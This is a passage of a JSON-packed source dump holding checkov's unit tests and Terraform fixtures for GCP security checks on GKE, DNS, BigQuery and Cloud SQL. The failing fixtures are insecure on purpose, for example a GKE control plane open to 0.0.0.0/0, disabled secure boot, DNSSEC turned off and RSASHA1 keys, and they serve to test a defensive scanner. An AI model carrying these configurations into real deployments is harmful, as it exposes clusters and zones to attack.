    "content": "import unittest\n\nfrom checkov.terraform.checks.resource.gcp.GKEPublicControlPlane import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestGKEPublicControlPlane(unittest.TestCase):\n\n    def test_failure(self):\n        resource_conf = {'name': ['google_cluster_bad'], 'monitoring_service': ['none'], 'enable_legacy_abac': [True], 'master_authorized_networks_config': [{'cidr_blocks': [{'cidr_block': ['0.0.0.0/0'], 'display_name': ['The world']}]}]}\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        resource_conf = {'name': ['google_cluster'], 'enable_legacy_abac': [False]}\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GKEReleaseChannel/main.tf",
    "content": "\nresource \"google_container_cluster\" \"fail\" {\n  name               = var.name\n  location           = var.location\n  initial_node_count = 1\n  project            = data.google_project.project.name\n\n  network    = var.network\n  subnetwork = var.subnetwork\n\n  ip_allocation_policy {\n    cluster_ipv4_cidr_block       = var.ip_allocation_policy[\"cluster_ipv4_cidr_block\"]\n    cluster_secondary_range_name  = var.ip_allocation_policy[\"cluster_secondary_range_name\"]\n    services_ipv4_cidr_block      = var.ip_allocation_policy[\"services_ipv4_cidr_block\"]\n    services_secondary_range_name = var.ip_allocation_policy[\"services_secondary_range_name\"]\n  }\n}\n\n\nresource \"google_container_cluster\" \"success\" {\n  name               = var.name\n  location           = var.location\n  initial_node_count = 1\n  project            = data.google_project.project.name\n\n  network    = var.network\n  subnetwork = var.subnetwork\n\n  ip_allocation_policy {\n    cluster_ipv4_cidr_block       = var.ip_allocation_policy[\"cluster_ipv4_cidr_block\"]\n    cluster_secondary_range_name  = var.ip_allocation_policy[\"cluster_secondary_range_name\"]\n    services_ipv4_cidr_block      = var.ip_allocation_policy[\"services_ipv4_cidr_block\"]\n    services_secondary_range_name = var.ip_allocation_policy[\"services_secondary_range_name\"]\n  }\n\n  node_config {\n    workload_metadata_config {\n      node_metadata = \"GKE_METADATA_SERVER\"\n    }\n  }\n\n  release_channel {\n    channel = var.release_channel\n  }\n\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GKEReleaseChannel.py",
    "content": "import unittest\nimport os\n\nfrom checkov.terraform.checks.resource.gcp.GKEReleaseChannel import check\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\n\n\nclass TestGKEReleaseChannel(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/test_GKEReleaseChannel\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'google_container_cluster.success'\n        }\n        failing_resources = {\n            'google_container_cluster.fail'\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GKESecureBootforShieldedNodes/main.tf",
    "content": "\nresource \"google_container_cluster\" \"fail1\" {\n  name               = var.name\n  location           = var.location\n  initial_node_count = 1\n  project            = data.google_project.project.name\n\n  network    = var.network\n  subnetwork = var.subnetwork\n\n  ip_allocation_policy {\n    cluster_ipv4_cidr_block       = var.ip_allocation_policy[\"cluster_ipv4_cidr_block\"]\n    cluster_secondary_range_name  = var.ip_allocation_policy[\"cluster_secondary_range_name\"]\n    services_ipv4_cidr_block      = var.ip_allocation_policy[\"services_ipv4_cidr_block\"]\n    services_secondary_range_name = var.ip_allocation_policy[\"services_secondary_range_name\"]\n  }\n\n  remove_default_node_pool = var.remove_default_node_pool\n\n  node_config {\n    workload_metadata_config {\n      node_metadata = \"GKE_METADATA_SERVER\"\n    }\n  }\n\n  release_channel {\n    channel = var.release_channel\n  }\n\n  master_auth {\n\n    client_certificate_config {\n      issue_client_certificate = false\n    }\n  }\n\n  addons_config {\n    http_load_balancing {\n      disabled = var.http_load_balancing_disabled\n    }\n\n    network_policy_config {\n      disabled = var.network_policy_config_disabled\n    }\n  }\n\n  maintenance_policy {\n    daily_maintenance_window {\n      start_time = var.maintenance_window\n    }\n  }\n\n  private_cluster_config {\n    enable_private_nodes    = var.private_cluster_config[\"enable_private_nodes\"]\n    enable_private_endpoint = var.private_cluster_config[\"enable_private_endpoint\"]\n    master_ipv4_cidr_block  = var.private_cluster_config[\"master_ipv4_cidr_block\"]\n  }\n\n  master_authorized_networks_config {\n    cidr_blocks {\n      cidr_block = var.master_authorized_network_cidr\n    }\n  }\n\n  network_policy {\n    enabled = true\n  }\n\n  pod_security_policy_config {\n    enabled = var.pod_security_policy_config_enabled\n  }\n\n  resource_labels = var.resource_labels\n}\n\nresource \"google_container_cluster\" \"fail2\" {\n  name               = var.name\n  location           = var.location\n  initial_node_count = 1\n  project            = data.google_project.project.name\n\n  network    = var.network\n  subnetwork = var.subnetwork\n\n  ip_allocation_policy {\n    cluster_ipv4_cidr_block       = var.ip_allocation_policy[\"cluster_ipv4_cidr_block\"]\n    cluster_secondary_range_name  = var.ip_allocation_policy[\"cluster_secondary_range_name\"]\n    services_ipv4_cidr_block      = var.ip_allocation_policy[\"services_ipv4_cidr_block\"]\n    services_secondary_range_name = var.ip_allocation_policy[\"services_secondary_range_name\"]\n  }\n\n  remove_default_node_pool = var.remove_default_node_pool\n\n  enable_shielded_nodes = false\n\n  node_config {\n    workload_metadata_config {\n      node_metadata = \"GKE_METADATA_SERVER\"\n    }\n    shielded_instance_config {\n      enable_secure_boot = false\n    }\n  }\n\n  release_channel {\n    channel = var.release_channel\n  }\n\n  master_auth {\n\n    client_certificate_config {\n      issue_client_certificate = false\n    }\n  }\n\n  addons_config {\n    http_load_balancing {\n      disabled = var.http_load_balancing_disabled\n    }\n\n    network_policy_config {\n      disabled = var.network_policy_config_disabled\n    }\n  }\n\n  maintenance_policy {\n    daily_maintenance_window {\n      start_time = var.maintenance_window\n    }\n  }\n\n  private_cluster_config {\n    enable_private_nodes    = var.private_cluster_config[\"enable_private_nodes\"]\n    enable_private_endpoint = var.private_cluster_config[\"enable_private_endpoint\"]\n    master_ipv4_cidr_block  = var.private_cluster_config[\"master_ipv4_cidr_block\"]\n  }\n\n  master_authorized_networks_config {\n    cidr_blocks {\n      cidr_block = var.master_authorized_network_cidr\n    }\n  }\n\n  network_policy {\n    enabled = true\n  }\n\n  pod_security_policy_config {\n    enabled = var.pod_security_policy_config_enabled\n  }\n\n  resource_labels = var.resource_labels\n}\n\nresource \"google_container_node_pool\" \"fail1\" {\n  project  = data.google_project.project.name\n  name     = var.node_pool[\"name\"]\n  location = var.location\n  cluster  = google_container_cluster.cluster.name\n\n  node_count        = var.node_pool[\"node_count\"]\n  max_pods_per_node = var.node_pool[\"max_pods_per_node\"]\n\n  node_config {\n    machine_type = var.node_pool[\"machine_type\"]\n    disk_size_gb = var.node_pool[\"disk_size_gb\"]\n    disk_type    = var.node_pool[\"disk_type\"]\n\n    oauth_scopes = [\n      \"https://www.googleapis.com/auth/compute\",\n      \"https://www.googleapis.com/auth/devstorage.read_only\",\n      \"https://www.googleapis.com/auth/logging.write\",\n      \"https://www.googleapis.com/auth/monitoring\",\n    ]\n  }\n}\n\nresource \"google_container_node_pool\" \"fail2\" {\n  project  = data.google_project.project.name\n  name     = var.node_pool[\"name\"]\n  location = var.location\n  cluster  = google_container_cluster.cluster.name\n\n  node_count        = var.node_pool[\"node_count\"]\n  max_pods_per_node = var.node_pool[\"max_pods_per_node\"]\n\n  node_config {\n    machine_type = var.node_pool[\"machine_type\"]\n    disk_size_gb = var.node_pool[\"disk_size_gb\"]\n    disk_type    = var.node_pool[\"disk_type\"]\n\n    workload_metadata_config {\n      node_metadata = \"GKE_METADATA_SERVER\"\n    }\n    shielded_instance_config {\n      enable_secure_boot = false\n    }\n\n    oauth_scopes = [\n      \"https://www.googleapis.com/auth/compute\",\n      \"https://www.googleapis.com/auth/devstorage.read_only\",\n      \"https://www.googleapis.com/auth/logging.write\",\n      \"https://www.googleapis.com/auth/monitoring\",\n    ]\n  }\n}\n\nresource \"google_container_node_pool\" \"success\" {\n  project  = data.google_project.project.name\n  name     = var.node_pool[\"name\"]\n  location = var.location\n  cluster  = google_container_cluster.cluster.name\n\n  node_count        = var.node_pool[\"node_count\"]\n  max_pods_per_node = var.node_pool[\"max_pods_per_node\"]\n\n  node_config {\n    machine_type = var.node_pool[\"machine_type\"]\n    disk_size_gb = var.node_pool[\"disk_size_gb\"]\n    disk_type    = var.node_pool[\"disk_type\"]\n\n    workload_metadata_config {\n      node_metadata = \"GKE_METADATA_SERVER\"\n    }\n\n    shielded_instance_config {\n      enable_secure_boot = true\n    }\n\n    oauth_scopes = [\n      \"https://www.googleapis.com/auth/compute\",\n      \"https://www.googleapis.com/auth/devstorage.read_only\",\n      \"https://www.googleapis.com/auth/logging.write\",\n      \"https://www.googleapis.com/auth/monitoring\",\n    ]\n  }\n}\n\nresource \"google_container_cluster\" \"success\" {\n  name               = var.name\n  location           = var.location\n  initial_node_count = 1\n  project            = data.google_project.project.name\n\n  network    = var.network\n  subnetwork = var.subnetwork\n\n  ip_allocation_policy {\n    cluster_ipv4_cidr_block       = var.ip_allocation_policy[\"cluster_ipv4_cidr_block\"]\n    cluster_secondary_range_name  = var.ip_allocation_policy[\"cluster_secondary_range_name\"]\n    services_ipv4_cidr_block      = var.ip_allocation_policy[\"services_ipv4_cidr_block\"]\n    services_secondary_range_name = var.ip_allocation_policy[\"services_secondary_range_name\"]\n  }\n\n  remove_default_node_pool = var.remove_default_node_pool\n\n  min_master_version = \"1.12\"\n\n  node_config {\n    workload_metadata_config {\n      node_metadata = \"GKE_METADATA_SERVER\"\n    }\n    shielded_instance_config {\n      enable_integrity_monitoring = true\n      enable_secure_boot          = true\n    }\n  }\n\n  release_channel {\n    channel = var.release_channel\n  }\n\n  master_auth {\n\n    client_certificate_config {\n      issue_client_certificate = false\n    }\n  }\n\n  addons_config {\n    http_load_balancing {\n      disabled = var.http_load_balancing_disabled\n    }\n\n    network_policy_config {\n      disabled = var.network_policy_config_disabled\n    }\n  }\n\n  maintenance_policy {\n    daily_maintenance_window {\n      start_time = var.maintenance_window\n    }\n  }\n\n  private_cluster_config {\n    enable_private_nodes    = var.private_cluster_config[\"enable_private_nodes\"]\n    enable_private_endpoint = var.private_cluster_config[\"enable_private_endpoint\"]\n    master_ipv4_cidr_block  = var.private_cluster_config[\"master_ipv4_cidr_block\"]\n  }\n\n  master_authorized_networks_config {\n    cidr_blocks {\n      cidr_block = var.master_authorized_network_cidr\n    }\n  }\n\n  network_policy {\n    enabled = true\n  }\n\n  pod_security_policy_config {\n    enabled = var.pod_security_policy_config_enabled\n  }\n\n  resource_labels = var.resource_labels\n}\n\n\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GKESecureBootforShieldedNodes.py",
    "content": "import unittest\nimport os\n\nfrom checkov.terraform.checks.resource.gcp.GKESecureBootforShieldedNodes import check\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\n\nclass TestGKESecureBootforShieldedNodes(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/test_GKESecureBootforShieldedNodes\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'google_container_cluster.success',\n            'google_container_node_pool.success'\n        }\n        failing_resources = {\n            'google_container_cluster.fail1',\n            'google_container_node_pool.fail1',\n            'google_container_cluster.fail2',\n            'google_container_node_pool.fail2'\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 4)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GKEUseCosImage.py",
    "content": "import unittest\nimport os\n\nfrom checkov.terraform.checks.resource.gcp.GKEUseCosImage import check\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\n\n\nclass TestGKEUseCosImage(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_GKEUseCosImage\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'google_container_node_pool.pass',\n        }\n\n        failing_resources = {\n            'google_container_node_pool.fail',\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GithubActionsOIDCTrustPolicy.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.gcp.GithubActionsOIDCTrustPolicy import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestGithubActionsOIDCTrustPolicy(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_GithubActionsOIDCTrustPolicy\"\n\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"google_iam_workload_identity_pool_provider.pass1\",\n            \"google_iam_workload_identity_pool_provider.pass2\",\n            \"google_iam_workload_identity_pool_provider.pass3\",\n            \"google_iam_workload_identity_pool_provider.pass_org_only\",\n        }\n        failing_resources = {\n            \"google_iam_workload_identity_pool_provider.fail1\",\n            \"google_iam_workload_identity_pool_provider.fail2\",\n            \"google_iam_workload_identity_pool_provider.fail_wildcard\",\n            \"google_iam_workload_identity_pool_provider.fail_abusable\",\n            \"google_iam_workload_identity_pool_provider.fail_wildcard_assertion\",\n            \"google_iam_workload_identity_pool_provider.fail_misused_repo\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GoogleBigQueryDatasetPublicACL.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.gcp.GoogleBigQueryDatasetPublicACL import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestGoogleBigQueryDatasetPublicACL(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_GoogleBigQueryDatasetPublicACL\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"google_bigquery_dataset.pass_special_group\",\n            \"google_bigquery_dataset.pass_user_by_email\",\n            \"google_bigquery_dataset.pass_group_by_email\",\n            \"google_bigquery_dataset.pass_domain\",\n            \"google_bigquery_dataset.pass_view\",\n            \"google_bigquery_dataset.pass_routine\",\n            \"google_bigquery_dataset.pass_dataset\",\n        }\n\n        failing_resources = {\n            \"google_bigquery_dataset.fail_special_group\",\n            \"google_bigquery_dataset.fail_all_users\",\n            \"google_bigquery_dataset.fail_new_key\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GoogleCloudDNSKeySpecsRSASHA1.py",
    "content": "import unittest\n\nfrom checkov.terraform.checks.resource.gcp.GoogleCloudDNSKeySpecsRSASHA1 import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestCloudDNSKeySpecsRSASHA1(unittest.TestCase):\n\n    def test_failure_zone_signing(self):\n        resource_conf = {\"name\": [\"example-zone\"],\n                         \"dns_name\": [\"example-de13he3.com.\"],\n                         \"description\": [\"Example DNS zone\"],\n                         \"dnssec_config\": [{\n                             \"state\": [\"on\"],\n                             \"default_key_specs\": [\n                                 {\"algorithm\": [\"rsasha1\"], \"key_type\": [\"zoneSigning\"], \"key_length\": \"1024\"},\n                                 {\"algorithm\": [\"rsasha256\"], \"key_type\": [\"keySigning\"], \"key_length\": \"2048\"},\n                             ]\n                         }]\n                         }\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_key_signing(self):\n        resource_conf = {\"name\": [\"example-zone\"],\n                         \"dns_name\": [\"example-de13he3.com.\"],\n                         \"description\": [\"Example DNS zone\"],\n                         \"dnssec_config\": [{\n                             \"state\": [\"on\"],\n                             \"default_key_specs\": [\n                                 {\"algorithm\": [\"rsasha256\"], \"key_type\": [\"zoneSigning\"], \"key_length\": \"1024\"},\n                                 {\"algorithm\": [\"rsasha1\"], \"key_type\": [\"keySigning\"], \"key_length\": \"2048\"},\n                             ]\n                         }]\n                         }\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        resource_conf = {\"name\": [\"example-zone\"],\n                         \"dns_name\": [\"example-de13he3.com.\"],\n                         \"description\": [\"Example DNS zone\"],\n                         \"dnssec_config\": [{\n                             \"state\": [\"on\"],\n                             \"default_key_specs\": [\n                                 {\"algorithm\": [\"rsasha256\"], \"key_type\": [\"zoneSigning\"], \"key_length\": \"1024\"},\n                                 {\"algorithm\": [\"rsasha256\"], \"key_type\": [\"keySigning\"], \"key_length\": \"2048\"},\n                             ]\n                         }]\n                         }\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success_default_config(self):\n        resource_conf = {\"name\": [\"example-zone\"],\n                         \"dns_name\": [\"example-de13he3.com.\"],\n                         \"description\": [\"Example DNS zone\"],\n                         \"dnssec_config\": [{\"state\": [\"on\"]}]\n                         }\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GoogleCloudDNSSECEnabled/main.tf",
    "content": "resource \"google_dns_managed_zone\" \"private1\" {\n  # No result because visibility is private\n  name        = \"zone\"\n  dns_name    = \"services.example.com.\"\n  description = \"Example DNS Service Directory zone\"\n\n  visibility = \"private\"\n\n}\n\nresource \"google_dns_managed_zone\" \"private2\" {\n  # No result because visibility is private\n  name        = \"zone\"\n  dns_name    = \"services.example.com.\"\n  description = \"Example DNS Service Directory zone\"\n\n  visibility = \"private\"\n\n  dnssec_config {\n    state = \"on\"\n  }\n\n}\n\nresource \"google_dns_managed_zone\" \"private3\" {\n  # No result because visibility is private\n  name        = \"zone\"\n  dns_name    = \"services.example.com.\"\n  description = \"Example DNS Service Directory zone\"\n\n  visibility = \"private\"\n\n  dnssec_config {\n    state = \"off\"\n  }\n\n}\n\nresource \"google_dns_managed_zone\" \"pass1\" {\n  # Pass because visibility is public and value is set\n  name        = \"zone\"\n  dns_name    = \"services.example.com.\"\n  description = \"Example DNS Service Directory zone\"\n\n  visibility = \"public\"\n\n  dnssec_config {\n    state = \"on\"\n  }\n\n}\n\nresource \"google_dns_managed_zone\" \"pass2\" {\n  # Pass because visibility is public (by default) and value is set\n  name        = \"zone\"\n  dns_name    = \"services.example.com.\"\n  description = \"Example DNS Service Directory zone\"\n\n  dnssec_config {\n    state = \"on\"\n  }\n\n}\n\nresource \"google_dns_managed_zone\" \"fail1\" {\n  # Fail because visibility is public and dnssec block is missing\n  name        = \"zone\"\n  dns_name    = \"services.example.com.\"\n  description = \"Example DNS Service Directory zone\"\n\n  visibility = \"public\"\n\n}\n\nresource \"google_dns_managed_zone\" \"fail2\" {\n  # Fail because visibility is public and value is off\n  name        = \"zone\"\n  dns_name    = \"services.example.com.\"\n  description = \"Example DNS Service Directory zone\"\n\n  visibility = \"public\"\n  dnssec_config {\n    state = \"off\"\n  }\n}\n\nresource \"google_dns_managed_zone\" \"fail3\" {\n  # Fail because visibility is public (by default) and value is off\n  name        = \"zone\"\n  dns_name    = \"services.example.com.\"\n  description = \"Example DNS Service Directory zone\"\n\n  dnssec_config {\n    state = \"off\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GoogleCloudDNSSECEnabled.py",
    "content": "import os\nimport unittest\n\nfrom checkov.terraform.checks.resource.gcp.GoogleCloudDNSSECEnabled import check\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.terraform.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestCloudDNSSECEnabled(unittest.TestCase):\n\n    def test_failure_no_config(self):\n        resource_conf = {\"name\": [\"example-zone\"],\n                         \"dns_name\": [\"example-de13he3.com.\"],\n                         \"description\": [\"Example DNS zone\"]\n                         }\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_wrong_config(self):\n        resource_conf = {\"name\": [\"example-zone\"],\n                         \"dns_name\": [\"example-de13he3.com.\"],\n                         \"description\": [\"Example DNS zone\"],\n                         \"dnssec_config\": [{\"state\": [\"off\"]}]\n                         }\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        resource_conf = {\"name\": [\"example-zone\"],\n                         \"dns_name\": [\"example-de13he3.com.\"],\n                         \"description\": [\"Example DNS zone\"],\n                         \"dnssec_config\": [{\"state\": [\"on\"]}]\n                         }\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_visibility_check(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/test_GoogleCloudDNSSECEnabled\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 3)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GoogleCloudMySqlLocalInfileOff.py",
    "content": "\nimport unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.gcp.GoogleCloudMySqlLocalInfileOff import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestGoogleCloudMySqlLocalInfileOff(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_CloudMySqlLocalInfileOff\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"google_sql_database_instance.pass\",\n            \"google_sql_database_instance.pass2\",\n            \"google_sql_database_instance.pass3\",\n            \"google_sql_database_instance.pass4\",\n            \"google_sql_database_instance.pass5\",\n        }\n\n        failing_resources = {\n            \"google_sql_database_instance.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 5)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GoogleCloudPostgreSqlEnablePgaudit.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.gcp.GoogleCloudPostgreSqlEnablePgaudit import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestGoogleCloudPostgreSqlEnablePgaudit(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_GoogleCloudPostgreSqlEnablePgaudit\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"google_sql_database_instance.pass\",\n        }\n\n        failing_resources = {\n            \"google_sql_database_instance.fail\",\n            \"google_sql_database_instance.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GoogleCloudPostgreSqlLogCheckpoints.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.gcp.GoogleCloudPostgreSqlLogCheckpoints import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestGoogleCloudPostgreSqlLogCheckpoints(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_GoogleCloudPostgreSqlLogCheckpoints\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"google_sql_database_instance.pass\",\n        }\n\n        failing_resources = {\n            \"google_sql_database_instance.fail\",\n            \"google_sql_database_instance.fail2\",\n            \"google_sql_database_instance.unknown_var\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GoogleCloudPostgreSqlLogConnection.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.gcp.GoogleCloudPostgreSqlLogConnection import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestGoogleCloudPostgreSqlLogConnection(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_GoogleCloudPostgreSqlLogConnection\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"google_sql_database_instance.pass\",\n        }\n\n        failing_resources = {\n            \"google_sql_database_instance.fail\",\n            \"google_sql_database_instance.fail2\",\n            \"google_sql_database_instance.unknown_var\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
